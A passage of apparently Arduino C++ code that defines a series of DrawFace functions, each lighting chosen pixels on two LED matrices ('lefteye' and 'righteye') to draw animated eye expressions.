lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(235, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(236, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace003()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace004()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(213, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(221, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(34, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace005()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(12, color);\n lefteye.setPixelColor(13, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(21, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(139, color);\n lefteye.setPixelColor(140, color);\n lefteye.setPixelColor(141, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n righteye.setPixelColor(10, color);\n righteye.setPixelColor(11, color);\n righteye.setPixelColor(18, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(138, color);\n righteye.setPixelColor(139, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace006()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(10, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n lefteye.setPixelColor(248, color);\n lefteye.setPixelColor(249, color);\n lefteye.setPixelColor(250, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(134, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(244, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(253, color);\n righteye.setPixelColor(254, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace007()\n{\n\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(217, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace008()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(93, color);\n lefteye.setPixelColor(94, color);\n lefteye.setPixelColor(101, color);\n lefteye.setPixelColor(102, color);\n lefteye.setPixelColor(103, color);\n lefteye.setPixelColor(110, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(237, color);\n lefteye.setPixelColor(238, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(89, color);\n righteye.setPixelColor(90, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(96, color);\n righteye.setPixelColor(97, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(105, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(226, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(233, color);\n righteye.setPixelColor(234, color);\n righteye.setPixelColor(235, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace009()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace010()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(80, 